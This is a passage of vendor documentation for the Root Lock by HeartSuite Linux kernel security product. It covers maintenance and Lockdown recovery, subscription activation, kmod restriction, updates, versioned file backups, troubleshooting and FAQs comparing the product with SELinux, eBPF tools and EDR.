By default, the HeartSuite startup script re-engages Lockdown automatically on every Root Lock by HeartSuite kernel boot. Once active, rebooting will always engage Lockdown before you can prevent it.

During Maintenance Step 1, the Dashboard presents a guided choice: [d] Disable automatic Lockdown re-engagement or [k] Keep it. You do not need to edit any scripts manually. To disengage Lockdown when automatic re-engagement is active, boot to the maintenance kernel; this procedure is discussed in Protecting During Maintenance.

Restoring mutability after Lockdown

You can make files and directories mutable again once Lockdown is no longer active. The Dashboard’s Maintenance ([m]) handles this automatically during the guided maintenance process — Step 1 of 3 offers [u] Remove immutable flags. For recovery outside the Dashboard, run HS_unlock.sh.

If you try to write to an immutable file without removing the flags first, you will encounter the error “could not open file; errno:1.”

Before rebooting, the Maintenance ([m]) sets the GRUB default to the Maintenance entry (Non-HS / Setup Mode destination) automatically — no GRUB menu interaction is required. If automatic GRUB configuration does not apply (Alpine or an unsupported bootloader), the Dashboard displays the exact entry to select manually, which requires console access: a keyboard and monitor, a serial port, or your cloud provider’s serial console. Returning to the Root Lock by HeartSuite kernel after maintenance is also automatic: the Dashboard restores the Root Lock by HeartSuite kernel as the GRUB default before rebooting back, so no GRUB interaction is needed on the return trip either.

Lockdown commands

These are the actual scripts Lockdown uses. Most users never invoke them directly — the Dashboard’s [l] Lockdown button and [m] Maintenances run them for you.

  • HS_lockdown.sh — runs when you apply Lockdown from the Dashboard, and automatically on every Root Lock by HeartSuite kernel boot when auto-engagement is enabled. It seals Root Lock by HeartSuite’s configuration with chattr +i, disables file editors, replaces rm/cp/mv with restricted copies, then engages Lockdown via the kernel.
  • HS_unlock.sh — reverses HS_lockdown.sh. The Maintenance runs this for you when you press [u] as Step 1 of the Lockdown maintenance flow. Run it yourself only for recovery outside the Dashboard.
  • hs-unlock-progs — internal helper called by HS_unlock.sh. Not invoked directly in normal use.

Setup is complete. When you need to install software, update configuration, or recover from Lockdown, see Maintenance.

10 - Licensing and Subscription

Activating subscriptions for Lockdown.

Overview: A subscription is required to activate Lockdown (Phase 7). The Dashboard shows your current subscription status alongside phase progress and alerts.

Subscription

A subscription is required before you can activate Lockdown. Phase 7 (Lockdown) is locked until phases 2-6 are complete and a valid subscription is activated. See Mode Switching and Lockdown for the activation flow with per-panel actions/opt-outs and read-only inventory.

The subscription is a simple text file. One subscription can cover up to 9999 servers — at the time of purchase, you specify how many servers the subscription covers. You can purchase additional subscriptions if needed.

After downloading the subscription file, copy it to each server it covers. Regardless of the original filename, it must be copied as HS_license.txt in the /.hs/sys directory. For example:

# sudo cp MyCompany_HS_license.txt /.hs/sys/HS_license.txt

After copying the subscription file, register it using register_HS_license. The command requires the IP address of the Root Lock by HeartSuite Activation Server and the port number (6121). Run the following command, replacing <ip> with the address from your activation email:

# sudo /.hs/sys/register_HS_license <ip> 6121

If activation is successful, the program creates an activation key and displays a confirmation message. If an error occurs, an error message is displayed. You need to activate each server only once.

Dashboard subscription status

The Dashboard shows subscription status when it requires attention — an expired subscription appears as a warning on the Dashboard with a direct link to the upgrade page. A valid, active subscription is not displayed separately; the absence of a warning confirms that the subscription is in good standing. Phase 7 (Lockdown) unlocks when phases 2-6 are complete.

With your subscription active and phases 2-6 complete, proceed to Mode Switching and Lockdown to activate Lockdown.

HeartSuite kernel source code (GPL)

The HeartSuite kernel ships as binaries in your coordinated install bundle. Corresponding kernel source is available on written GPL request — not via a public repository. Email support@heartsecsuite.com with uname -r, your HeartSuite product version, and bundle checksum reference if known. Full process and verification alternatives: Supply Chain and Advisory Feeds → HeartSuite kernel source code (GPL).

For procurement and CISO details on how the subscription covers the kernel (risk transfer, SLAs, verification artifacts) in the context of enterprise adoption, see Kernel Hardening → Enterprise Adoption Guide.

11 - Advanced Configuration and Maintenance

How to perform maintenance safely on a Root Lock by HeartSuite system, from Setup Mode transitions to Lockdown recovery.

Overview: Every maintenance window is an attack window — in Setup Mode the kernel logs but stops blocking, or on the maintenance kernel Root Lock by HeartSuite is not loaded at all, while changes are made. These guides cover how to perform maintenance safely without leaving gaps an attacker can exploit. The Dashboard displays the current protection state — including Lockdown status — and provides the Suggested Next Step throughout maintenance.

Maintenance is a time period during which you temporarily step out of Lockdown to make changes. It is not a separate mode. Root Lock by HeartSuite has two modes: Setup Mode and Lockdown. During maintenance, you either switch to Setup Mode (the kernel logs but stops blocking) or boot the maintenance kernel (Root Lock by HeartSuite is not loaded at all) depending on whether the immutable seal is active — the Dashboard’s Maintenance ([m]) detects this automatically and guides you through the correct path.

For most maintenance — installing packages, applying patches, editing configuration — the correct path is switching to Setup Mode. That requires one reboot, stays on the Root Lock by HeartSuite kernel, and needs no GRUB interaction. Booting the maintenance kernel is only required when Lockdown+sealed is active.

The Maintenance appears only when the system is in Lockdown, Lockdown+sealed, or on the maintenance kernel. It is not shown in Setup Mode — because in Setup Mode, you are already in the maintenance-ready state and the Dashboard’s review queues and Suggested Next Step are the workflow.

In this section

  • Protecting During Maintenance — Step-by-step guidance for maintenance windows, from the safety checklist through Lockdown recovery across two reboots.
  • File Backup and Versioning — Automatic versioned backups that even root cannot reach under Lockdown — restore any earlier version of a file when needed.
  • Cache Adjustment — Tuning the allowlist cache for servers with large numbers of concurrent programs.
  • Restricting Kernel Module Loading — Limiting kmod’s access to specific modules for deployments where kmod is allowlisted.
  • Updating HeartSuite — Apply a HeartSuite update bundle, including the two-reboot sequence and Lockdown considerations.

11.1 - Protecting During Maintenance

Securing your server during maintenance windows to prevent attacks.

Overview: Every maintenance window is an attack window — blocking is temporarily suspended, and anything an attacker can reach during that period is unprotected. Maintenance — such as installing packages, editing files, or applying updates — is the period during which you temporarily reduce Root Lock by HeartSuite’s protection to make changes. Grants can be narrowed at Lockdown activation time via per-panel actions/opt-outs on the prep shown before confirmation; the Dashboard’s Maintenance ([m]) guides you through the entire process, from safety preparation to re-engaging Lockdown (including restoring or re-approving as needed). The Maintenance appears only when the system is in Lockdown, Lockdown+sealed, or on the maintenance kernel — it is not shown in Setup Mode, because in Setup Mode you are already in the maintenance-ready state.

Most maintenance uses Option 1 below — a single reboot that stays on the Root Lock by HeartSuite kernel in Setup Mode. No GRUB interaction and no old kernel required. Option 2 (booting the maintenance kernel) is only needed when the immutable seal is active, which is the less common path.

Starting maintenance

From the Dashboard in Lockdown, select Maintenance ([m]). The Dashboard automatically detects whether the immutable seal is active and presents the correct path — you do not need to determine this yourself.

Safety checklist

Before any mode change, Maintenance presents a safety checklist. The Dashboard auto-detects system state where possible and shows the status of each item:

  • Network isolation — disable network interfaces or restrict firewall rules to prevent remote access during maintenance
  • Server processes — shut down daemons (e.g., web servers) to close attack vectors
  • SSH access — no root login, key-based auth only, source IP restriction

The Dashboard shows green checkmarks for items that pass and amber warnings for items that need attention. Press [c] Confirmed to proceed or [s] Skip to continue without completing the checklist. If you skip, the Dashboard displays a persistent reminder throughout the maintenance period — it does not disappear until you re-engage Lockdown.

Maintenance checklist with mixed status indicators

Option 1: switch to Setup Mode (no Lockdown)

This is the standard maintenance path. The Root Lock by HeartSuite kernel stays active. Logging and backups remain fully operational.

After completing the safety checklist, the Maintenance explains what will change:

  • Root Lock by HeartSuite switches from blocking to logging only
  • The Root Lock by HeartSuite kernel remains active
  • Backups continue running
  • The existing allowlist is preserved
  • New activity is logged, not blocked — it will appear in the review queues when you re-engage Lockdown

Type YES (case-sensitive) to confirm the switch. The Dashboard reboots to apply the mode change.

After rebooting, the Dashboard shows Setup Mode is active with a Suggested Next Step. If the safety checklist was skipped, a persistent reminder appears. Make your changes — install packages, edit configuration, update software. Root Lock by HeartSuite logs all new activity silently.

When finished, re-engage Lockdown from the Dashboard. New activity from the maintenance period appears in the review queues. Review and approve them through the standard allowlisting flow before Lockdown resumes.

Option 2: boot the Non-HS Kernel (Lockdown active)

When Lockdown is active, the Maintenance does not offer the Setup Mode switch. Instead, it explains the situation and guides you through a 3-step process. This is the most complex journey in the product — it involves two reboots, a kernel selection at GRUB where the Dashboard cannot guide you, and a period where Root Lock by HeartSuite is completely absent.

Step 1 of 3: boot Non-HS Kernel and remove immutable flags

After the safety checklist and typing YES to confirm, the Dashboard prepares you for the GRUB boot menu — the one moment where it cannot provide guidance. It shows the exact entry to select (Maintenance or vanilla Non-HS; do not select the branded HS / Root Lock by HeartSuite kernel). Press [r] to reboot.

The Dashboard saves your maintenance session state before rebooting. This state persists across reboots and kernel changes — the step counter (“Step X of 3”) follows you throughout the process.

After selecting the appropriate Non-HS / Maintenance entry from GRUB, the Dashboard resumes automatically on login. It detects the absence of the Root Lock by HeartSuite kernel module and adjusts its interface — actions that require the Root Lock by HeartSuite kernel are hidden entirely, not greyed out. The Dashboard shows:

  • “maintenance kernel active. Root Lock by HeartSuite is not loaded.”
  • “No blocking. No logging. No backups.”
  • “Maintenance step 1 of 3: Remove immutable flags.”

Press [u] to remove the immutable flags set by Lockdown. After the flags are removed, the Dashboard presents the automatic Lockdown re-engagement choice:

  • [d] Disable automatic Lockdown re-engagement — the startup script will no longer apply Lockdown on boot. You can re-enable this later. This simplifies future maintenance.
  • [k] Keep automatic re-engagement — Lockdown will re-apply on every Root Lock by HeartSuite kernel boot. Future maintenance will require this same process.

Both options carry equal weight — neither is recommended over the other. The choice depends on your operational needs.

Step 2 of 3: make your changes

The Dashboard transitions to the maintenance workspace:

  • “Maintenance step 2 of 3: Make your changes.”
  • “You are on the maintenance kernel. Root Lock by HeartSuite is not active. Changes made now will not be logged.”

Make your changes — install software, update packages, modify configuration files. When finished, press [f] to prepare the return to the Root Lock by HeartSuite kernel. The Dashboard pre-configures Setup Mode for the next boot.

Step 3 of 3: boot Root Lock by HeartSuite kernel and review

Select the branded Root Lock by HeartSuite (HS) kernel from GRUB. The Dashboard appears automatically, showing Setup Mode is active and displaying the maintenance step counter. Software installed during maintenance may generate new entries — these appear in the review queues. Review and approve them, then re-engage Lockdown from the Dashboard. If the immutable seal was previously active and you kept automatic re-engagement, Lockdown will re-apply on the next reboot.

Manual recovery outside the Maintenance

When Lockdown makes files immutable using chattr +i, those flags are stored at the filesystem level and persist across reboots — including reboots to the maintenance kernel. If you attempt to modify a file that was made immutable during a previous Lockdown session, you will encounter an error such as “could not open file; errno:1.” The Maintenance’s [u] Remove immutable flags handles this automatically during Step 1 of the Lockdown path. For recovery outside the Dashboard, run HS_unlock.sh.

11.2 - Adjusting the Cache Size

How Root Lock by HeartSuite auto-tunes its allowlist cache, and when manual intervention is needed.

Overview: Root Lock by HeartSuite caches allowlist entries in kernel memory for performance — each cache slot holds one program. The Dashboard automatically expands the cache to match your allowlist size, so for most systems no tuning is needed. Manual adjustment is only relevant when the allowlist exceeds the kernel cache maximum of 255 entries.

Automatic cache expansion

On startup and every state refresh, the Dashboard compares the size of your allowlist against the current kernel cache size. If the allowlist is larger, the Dashboard silently expands the cache to fit — up to the kernel maximum of 255 entries. The minimum cache size is 10 entries.

This runs in the background on the Dashboard’s normal 60-second refresh cycle. You do not need to invoke any CLI tool, change any settings, or even know the current cache size — the Dashboard handles it whenever it loads or refreshes.

When the allowlist exceeds 255 entries

If your allowlist grows beyond 255 entries — unusual for most workloads, but possible on servers running many distinct programs — auto-expansion stops at the kernel maximum. The Dashboard logs a warning:

Allowlist has 312 entries but kernel cache max is 255; consider removing unused entries.

The Allowed ([a]) is the place to review and remove entries you no longer need. After pruning, the Dashboard’s next refresh fits the cache to your trimmed allowlist automatically.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, hs-cache-size sets the cache to a specific size between 10 and 255:

# hs-cache-size 128

The Dashboard is the supported path for normal use.

11.3 - Restricting Kernel Module Loading

How to limit kmod’s file access permissions to specific modules before Lockdown engages, for deployments where kmod is allowlisted.

Overview: Root Lock by HeartSuite does not add kmod, modprobe, or insmod to the allowlist during installation — in Lockdown, none of them can execute, and no additional configuration is needed for module loading on a standard deployment. If your hardware requires kmod at startup to load device drivers or filesystem modules, kmod must have an allowlist entry. In that case, restrict kmod’s file access permissions to only the specific modules it needs before engaging Lockdown. An allowlisted kmod with unrestricted file access can load any module on the system.

Default deployments: no action required

If kmod, modprobe, and insmod have no allowlist entries, Root Lock by HeartSuite refuses to execute them in Lockdown. No module-loading hardening is needed — skip this page.

When kmod is allowlisted

Some hardware configurations require kmod at startup to dynamically load drivers or filesystem modules the system needs to boot. Once kmod has an allowlist entry, it can execute — and without further restriction, kmod’s file access permissions determine which modules it can load.

The hardening step is to narrow those file access permissions to the specific module paths kmod legitimately needs. If kmod attempts to load a module outside its permitted paths, Root Lock by HeartSuite blocks the file access in Lockdown before the module can be read.

Restricting kmod’s file access permissions

Do this before engaging Lockdown. Once Lockdown is active, allowlist entries are sealed and cannot be modified without a maintenance window.

When kmod’s startup activity appears in the File Access queue ([f]) during Setup Mode, approve individual .ko file paths rather than directory-level access. Approving a directory grants kmod read access to everything under it — including modules not present during observation. Approving specific file paths limits kmod to exactly what it accessed during Setup Mode.

If kmod already has directory-level file access permissions, use hs-manage-allowlist to remove the broad entries and re-add specific paths. See hs-manage-allowlist --help for usage.

After narrowing kmod’s file access permissions, reboot and confirm the system starts normally with no kmod access denials in the review queues. Then activate Lockdown from the Lockdown button ([l]). If kmod still has directory-level access at that point, the Dashboard shows it in the review (as advisory) before confirmation. You can opt back in via [u] undo (priority after install) or adjust before typing YES (case-sensitive). See Mode Switching and Lockdown for prep actions.

Per-user shell profile coverage

Lockdown seals system-wide shell configuration — /etc/profile, environment defaults, and cron — preventing an attacker from planting scripts that run at the next boot and expand kmod’s permissions before Lockdown re-engages. Per-user profile files (~/.bash_profile, ~/.bash_login, ~/.profile, ~/.bashrc, ~/.inputrc) are not covered automatically because the correct set depends on your user configuration.

If your deployment requires coverage for specific user accounts, enable the commented-out entries for those users in HS_lockdown.sh before engaging Lockdown.

How Lockdown reinforces the restriction

After Lockdown engages, three layers protect against module-loading attacks:

  • Allowlist entries are sealed — kmod’s allowlist entry cannot be modified while Lockdown is active. An attacker cannot add new module paths even with root access.
  • Startup scripts are sealed — Lockdown seals system-wide shell configuration, systemd unit directories, and cron. Attackers cannot insert scripts that would run before Lockdown re-engages on the next boot and expand kmod’s permissions.
  • Kernel-level block — Lockdown blocks new module loads at the kernel level, independently of the allowlist.

11.4 - Updating HeartSuite

How to apply a HeartSuite update bundle, including the two-reboot sequence and Lockdown considerations.

Overview: A HeartSuite update is delivered as a single self-extracting bundle (heartsuite-install.sh) that replaces the Root Lock by HeartSuite kernel and its userspace tools in one operation.

What an update changes

  • The Root Lock by HeartSuite kernel (vmlinuz-<version>-HeartSuite-<patch>)
  • HeartSuite userspace tools (activate_HS, lockdown_HS, Secure Script Launchers, setup scripts)
  • The Dashboard files under /opt/heartsuite/
  • GRUB configuration, so the new kernel becomes the default boot target

It does not modify user data, the existing allowlist entries, or backup files. Root Lock by HeartSuite may add new allowlist entries if the new kernel encounters programs that were not running under the previous kernel.

Why two reboots are required

The running Root Lock by HeartSuite kernel cannot replace itself. The installer verifies this and aborts if it detects it is running on the Root Lock by HeartSuite kernel. An update therefore requires:

  1. A reboot from the Root Lock by HeartSuite kernel to the maintenance kernel.
  2. Running the installer on the maintenance kernel.
  3. A reboot back into the new Root Lock by HeartSuite kernel.

Root Lock by HeartSuite is not active while the maintenance kernel is running. Schedule updates during a planned maintenance window.

Before you begin

  • Disengage Lockdown if it is active. Lockdown uses chattr +i filesystem immutability on HeartSuite configuration files; the installer cannot replace them while Lockdown is engaged. From the Dashboard, open Maintenance ([m]) and follow the guided path to disengage. (Any grant narrowing done via per-panel actions/opt-outs during original activation will need re-review after update.)
  • Verify the bundle. Compare the SHA-256 of heartsuite-install.sh against the published checksum before running it.

Update procedure

  1. Place heartsuite-install.sh and heartsuite-install.sh.sha256 on the system, typically by scp into /root/.

  2. Verify integrity:

    sha256sum -c heartsuite-install.sh.sha256
    

    Expected output: heartsuite-install.sh: OK

  3. Reboot and select the maintenance kernel at the GRUB menu.

  4. Log in as root over SSH or the serial console.

  5. Run the installer:

    bash heartsuite-install.sh
    
  6. The installer applies the update and reboots automatically into the new Root Lock by HeartSuite kernel.

  7. If new programs are encountered, Root Lock by HeartSuite reads the startup logs, adds the programs it finds to the allowlist, and reboots as needed (Phase 1). The Dashboard appears when this is complete.

  8. Re-engage Lockdown from the Dashboard if it was active before the update.

If the update fails

If the new Root Lock by HeartSuite kernel does not boot, select the previous kernel from the GRUB menu. Physical or serial-console access is required for this step. Both the previous Root Lock by HeartSuite kernel and the maintenance kernel remain available as recovery entries. Contact HeartSuite support and include the contents of /var/log/heartsuite/install.log in your message — we’re happy to help you recover.

11.5 - File Backup and Versioning

Automatic backups for designated directories and version restoration to protect against malware.

Overview: Allowlisting controls what programs can run, but an approved program that malware takes over can still write files — ransomware running inside an approved process can encrypt whatever that process can reach. Modern ransomware targets backup systems first — shadow copies and backup agents are typically deleted before files are encrypted. Root Lock by HeartSuite automatically creates a versioned backup every time a file in a protected directory is written, and under Lockdown the kernel itself prevents any program from reaching those backups. No other program, including malware running as root, can read or destroy them. Versions are never automatically deleted.

Automatic versioning

Root Lock by HeartSuite monitors a list of protected directories. When any file in those directories (including subdirectories) is written, Root Lock by HeartSuite silently creates a new versioned backup before the write completes. This runs automatically in both Setup Mode and Lockdown — protection begins from first boot, before you have reviewed a single item.

Enterprise backup tools back up on a schedule — hourly, nightly, weekly. An attack that completes between backup windows has nothing to recover from. Root Lock by HeartSuite backs up on every write. There is no window. Other security products that offer rollback on Linux — including endpoint products with a rollback feature — rely on volume shadow copies or scheduled snapshots. The same gap exists: an attack that completes between snapshot intervals has nothing to recover from.

CVE-2024-40711 — Veeam Backup & Replication, unauthenticated RCE — shows the sharper problem: the backup product itself is the target. An attacker who reaches a Veeam host can execute code without authentication, destroy backups, then encrypt production files. Root Lock by HeartSuite’s backups have no running agent to exploit — under Lockdown, the kernel itself prevents any program from reaching them.

By default, /home is configured for backup. You can add or remove directories from the Dashboard’s Backup.

Configuring protected directories

From the Dashboard, select Backup ([b]). The Dashboard shows your current backup configuration — which directories are protected and when they were last backed up.

Backup configured with 3 protected directories

From here you can:

  • Add directories ([n]) — protect additional directories (e.g., /var/www, /etc, /usr/lib)
  • Remove directories ([r]) — stop backing up a directory (removing a directory does not delete existing backups; existing versions are retained)

Recommended directories include those containing user documents, executable files, configuration, and shared libraries. Avoid high-churn directories like log directories — backup creates a new version on every write.

Restoring file versions

If a file is compromised — for example, encrypted by ransomware — the Dashboard’s Backup lets you browse version history and restore any previous version of any file in a protected directory. The Backup offers two browse modes:

  • File-first ([f]) — navigate by directory and file, then view versions of the selected file
  • Timeline ([t]) — navigate by date, showing all files modified on a given day

To restore a single file, select it and choose the version to restore. Each version shows its timestamp and file size.

For ransomware recovery where many files were modified on the same date, use the Timeline view ([t]), press [d] to filter by date, review the affected files, and press [b] to batch restore all of them in one operation.

Lockdown and backup

When Lockdown is active, the backup configuration file is sealed — no user or program, including root, can add or remove directories. This prevents an attacker who compromises a running process from silently disabling backup. To change the backup configuration, enter a maintenance period first (see Protecting During Maintenance).

Backup encryption

Root Lock by HeartSuite backup files are versioned filesystem copies. They are not encrypted at the HeartSuite layer. If your environment requires data-at-rest encryption — for example, to meet GDPR, HIPAA, or PCI DSS requirements — configure full-disk encryption (dm-crypt/LUKS) at the OS level. LUKS encryption covers the backup files automatically, since they reside on the same filesystem as the rest of the host.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, the following CLI tools are available:

# hs-backup-config-manager add /var/www
# hs-backup-config-manager remove /home
# hs-backup-config-manager list
# hs-version-manager list /home/user/document.txt
# hs-version-manager restore /home/user/document.txt --version 2023-11-01

The Dashboard is the supported path for normal use.

12 - Troubleshooting and Logs

Diagnosing blocked programs, the system being in the wrong mode or kernel, and recovering from kernel issues.

Overview: When something stops working on a locked-down system, the cause is usually one of three things: a missing allowlist entry, the system being in a different mode or on a different kernel than expected (Setup vs Lockdown, immutable seal active, or the maintenance kernel), or a kernel issue. The Dashboard tells you which one — the indicator at the top shows the current protection state, and the Suggested Next Step tells you what to do. The kernel log is available for advanced diagnostics when needed.

Where to start

The Dashboard is the primary diagnostic tool. Before checking log files, review:

  • Protection state (indicator at the top): Confirms the current protection level. If it shows “SETUP MODE”, “LOCKDOWN — immutable seal not applied”, or “maintenance kernel”, you immediately know what protection level is active. No indicator means Lockdown with immutable seal — full protection.
  • Status line at the bottom: Shows the kernel indicator (“Root Lock” or “maintenance kernel”), current mode with uptime, and lockdown status.
  • Pending/Denied counts: In Setup Mode, these are pending items awaiting approval. In Lockdown, these are denied actions that may need allowlisting.
  • Suggested Next Step: Provides a single, actionable recommendation based on the current system state.

Dashboard in Lockdown with denied counts: 2 programs, 1 file read, 1 network connection denied

Log management

Root Lock by HeartSuite captures all activity and presents it through the Dashboard’s three review queues: Programs ([p]), File Access ([f]), and Internet Access ([i]). The Dashboard shows pending counts for each queue and groups items by category, so you always know what needs attention. The Maintenance ([m]) provides guided workflows for common maintenance tasks.

The review queues are how you see and resolve what needs attention. The underlying activity log is a temporary buffer — once all three review queues are empty, the Dashboard automatically clears the log on its next refresh. No manual action is required.

For compliance, SIEM integration, or long-term retention, Root Lock by HeartSuite also emits a per-decision enforcement stream and a separate alert stream over RFC 5424 syslog (plus a persistent JSONL approval log). See the dedicated SIEM and Fleet Integration page for configuration examples. Formal compliance evidence is covered in the SOC 2 and compliance reference documents.

Allow several days to a week of observation in Setup Mode. Systemd timers, cron jobs, and infrequent services appear in the review queues only when they run — the review queues accumulate these automatically.

Kernel log

The Dashboard’s review queues automatically collect entries from both the Root Lock by HeartSuite activity log and the kernel log. During normal operation, you do not need to read dmesg directly.

The kernel log is useful for advanced troubleshooting in three situations: a program fails but the Dashboard shows zero pending or denied items for it; the Root Lock by HeartSuite activity log has been cleared or rotated; or you need to correlate Root Lock by HeartSuite entries with other kernel messages:

dmesg | grep HEARTSUITE

The Dashboard presents the same information with metadata enrichment and grouping. The Dashboard is accessible on both the Root Lock by HeartSuite kernel and the maintenance kernel — on the maintenance kernel, the indicator at the top shows “maintenance kernel — Root Lock not active” and blocking is inactive.

Reporting issues

If you encounter a product bug, email support@heartsecsuite.com with your Root Lock by HeartSuite version, kernel version (uname -r), the protection state shown at the top of your Dashboard, and steps to reproduce. For documentation issues, use heartsuite-docs issues. For security vulnerabilities, email support@heartsecsuite.com — do not use public issue trackers.

13 - FAQs

Common questions and answers for Root Lock by HeartSuite.

General

How is Root Lock by HeartSuite different from other anti-malware solutions?

A: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three per program — not per user, per program. Unlike anti-malware tools that look for signatures or suspicious behavior, Root Lock by HeartSuite requires every execution, file access, and network connection to be explicitly approved through the Dashboard’s review queues; in Lockdown, anything not approved is blocked. Because enforcement happens inside the kernel itself, it cannot be circumvented by any program or user, including root.

Who is Root Lock by HeartSuite for?

A: Root Lock by HeartSuite fits systems where the same programs do the same jobs, day after day — production servers with defined stacks, closed appliances and embedded devices, regulated workstations, build and CI infrastructure, and AI agent sandboxes inside per-task virtual machines. Containers fit as OCI images built and run on a separate host, with Root Lock by HeartSuite protecting the fixed-workload hosts around them — see the container reference architecture. Running a shared-kernel container runtime (Docker, containerd, Podman) directly on a host running the HeartSuite kernel is not a fit by design. The overlay filesystem and user namespaces are the privilege-escalation primitives the HeartSuite kernel deliberately omits — they are the attack surface, path to root, and vulnerability the design removes.

It is also not a fit for hosts that run eBPF-based tools like Falco, Cilium, or Tetragon; the BPF syscall is omitted for the same reason. See Deployment Scenarios for the full breakdown.

Can I use the same allowlist across a fleet or Kubernetes cluster?

A: Yes. Each host runs the Root Lock by HeartSuite kernel with the same allowlist installed locally — no HeartSuite-provided central policy server or cloud dependency for enforcement or distribution. The same allowlist configuration (curated as policy-as-code or in your CMDB) can be distributed to any number of hosts by your existing automation (Ansible, Terraform + GitOps, Puppet, custom scripts, ServiceNow-driven workflows). Production deployments run Root Lock by HeartSuite across hundreds or thousands of nodes, all enforcing the same approved-programs policy. Fleet-wide event correlation, policy reconciliation, and compliance reporting are handled by your SIEM and control planes alongside Root Lock by HeartSuite — see How Root Lock by HeartSuite Compares and Central Policy Management and External Control.

How does Root Lock by HeartSuite compare to Falco, AppArmor, SELinux, gVisor, or Linux EDR?

A: Root Lock by HeartSuite replaces these tools on the preventive-enforcement dimension. Each of them can be disabled by an attacker who already has root — Falco agents can be killed, BPF programs unloaded, SELinux set permissive, AppArmor profiles detached, gVisor processes compromised, EDR drivers tampered with. Root Lock by HeartSuite has no agent to kill and no module to unload, and under Lockdown even root cannot change the allowlist at runtime. See How Root Lock by HeartSuite Compares for a side-by-side table including how each can be disabled and how Root Lock by HeartSuite can itself be circumvented (physical presence — keyboard and monitor, serial port, or cloud serial console — only). For a detailed SELinux comparison, see “How does Root Lock by HeartSuite compare to SELinux specifically?” below.

How does Root Lock by HeartSuite compare to SELinux specifically?

A: SELinux is a strong MAC framework — it confines processes using labels, enforces type-based file access controls, and limits capability use across the system. For organizations that maintain SELinux policy (refpolicy or targeted), it provides fine-grained control that Root Lock by HeartSuite does not replicate; SELinux’s domain transitions and per-service profiles are deliberate capabilities, not gaps.

The limitation is the trust boundary. Root with the right capability can set SELinux to permissive mode, reload a relaxed policy, or edit policy files directly. If the system is compromised before SELinux policy is fully hardened, the attacker has the same access as any root process and can dismantle the policy from there.

Root Lock by HeartSuite’s distinction is where enforcement is anchored. Under Lockdown, the allowlist is sealed at the filesystem level (chattr +i) and the HeartSuite kernel refuses to lift that seal at runtime — by any process, including root. There is no remote path to disable enforcement; modifying the allowlist requires booting the maintenance kernel, which requires physical presence — a keyboard and monitor, serial port, or your cloud provider’s serial console.

The two are not mutually exclusive. SELinux’s domain transitions and distribution-shipped per-application profiles add policy depth Root Lock by HeartSuite does not provide; Root Lock by HeartSuite adds the sealed boundary SELinux does not. See How Root Lock by HeartSuite Compares for the full side-by-side.

What software can I remove or stop paying for if I run Root Lock by HeartSuite?

A: Root Lock by HeartSuite replaces the preventive-enforcement layer of the following tool categories. Whether you can remove a product entirely depends on whether you were running it purely for prevention, or also for telemetry and response.

Can remove or reduce:

  • Commercial eBPF enforcement tools (Sysdig Secure, commercial Falco, Cilium Tetragon): enforcement is covered by the allowlist, and the BPF syscall is deliberately absent from the HeartSuite kernel by design (it is one of the privilege-escalation primitives that would supply attack surface and bypass paths). These tools cannot run on it anyway. OSS Falco carries no licensing cost but does carry ongoing rule-tuning overhead that goes away.
  • gVisor: if used solely to protect workloads from root-level compromise inside a VM or microVM, Root Lock by HeartSuite is a direct replacement as the guest kernel.
  • AppArmor / SELinux: no licensing cost, but the policy-authoring and drift-management overhead is replaced by observation-driven allowlist setup. See Security as Economics for the full comparison.
  • The blocking dimension of Linux EDR (CrowdStrike Falcon, SentinelOne, MDE): prevention is replaced. Telemetry, behavioural analytics, and SOC console are not. Some vendors offer lighter-tier pricing once the workload prevention layer moves to Root Lock by HeartSuite.

Cannot remove:

  • SIEM, NDR, vulnerability scanners, and HIDS/FIM — these answer questions Root Lock by HeartSuite does not: fleet correlation, traffic analysis, compliance reporting, and patch prioritisation. See “Does Root Lock by HeartSuite replace my SIEM, NDR, or vulnerability scanner?” below.
Does Root Lock by HeartSuite replace my SIEM, NDR, or vulnerability scanner?

A: No. Root Lock by HeartSuite enforces at the kernel level on each host individually — it does not correlate events across a fleet, ingest external data, or produce compliance reports across a fleet on its own. (The same allowlist can be distributed to any number of hosts by your automation; see the FAQ above: “Can I use the same allowlist across a fleet or Kubernetes cluster?”) SIEM (Splunk, Sentinel, Elastic), NDR (Darktrace, ExtraHop), vulnerability management (Nessus, Qualys, Wiz), and HIDS/FIM (OSSEC, Wazuh, AIDE) answer fleet-wide, telemetry, and compliance questions that Root Lock by HeartSuite does not address. Run Root Lock by HeartSuite alongside them — it reduces the volume of events those products have to reason about by making a class of attacks impossible rather than merely visible. Root Lock by HeartSuite’s syslog streams, JSONL approval log, status.json, and webhook are designed inputs for your SIEM and control planes. See How Root Lock by HeartSuite Compares and Central Policy Management and External Control.

Why is kernel-level enforcement better than eBPF or agent-based security?

A: Many security products — including Falco, Cilium Tetragon, and CrowdStrike Falcon on Linux — rely on eBPF filters or user-space agents running as processes within the same OS as the programs they are meant to protect. Malware with sufficient privileges can disable, bypass, or unload them. Root Lock by HeartSuite’s enforcement is compiled into the kernel itself. There is no agent to kill, no filter to detach, and no module to unload. If the Root Lock by HeartSuite kernel is running, blocking is active. This is the difference between a lock on the door and a guard standing next to it.

How is Root Lock by HeartSuite itself protected from attacks? How do I know that Root Lock by HeartSuite won’t be targeted or compromised?

A: Lockdown makes all allowlist entries and configuration files immutable at the filesystem level, then disables the ability to change immutability flags at the kernel level. This means not even root can modify, delete, or add allowlist entries while Lockdown is active — the kernel itself prevents it. To make changes, the Dashboard’s Maintenance ([m]) guides you through a 3-step process that includes booting the maintenance kernel to remove the immutable flags. The Dashboard confirms Lockdown status after every reboot.

What are the system requirements for Root Lock by HeartSuite?

A: x86 (64-bit) Linux. Validated in release testing: Debian 12/13, Ubuntu 24.04, Rocky 9.7, Fedora 41, CentOS Stream 9, Alpine 3.21. Supported without a specific gate run: Debian 11, Ubuntu-derived, Alpine 3.x. RPM enterprise (RHEL, AlmaLinux, SLES): RHEL-compatible — validate on your subscribed minor before production. Root Lock by HeartSuite ships two HeartSuite kernel lines: 6.18 (primary) and 5.19 (legacy). Full matrix: Distro Compatibility.

How can I download Root Lock by HeartSuite?

A: Download the tar file from heartsecsuite.com — the download form is on the website; direct wget links are not provided.

Is technical support available for Root Lock by HeartSuite customers?

A: Yes. Email support@heartsecsuite.com or visit the tech support page on heartsecsuite.com.

How do I report a bug or security issue?

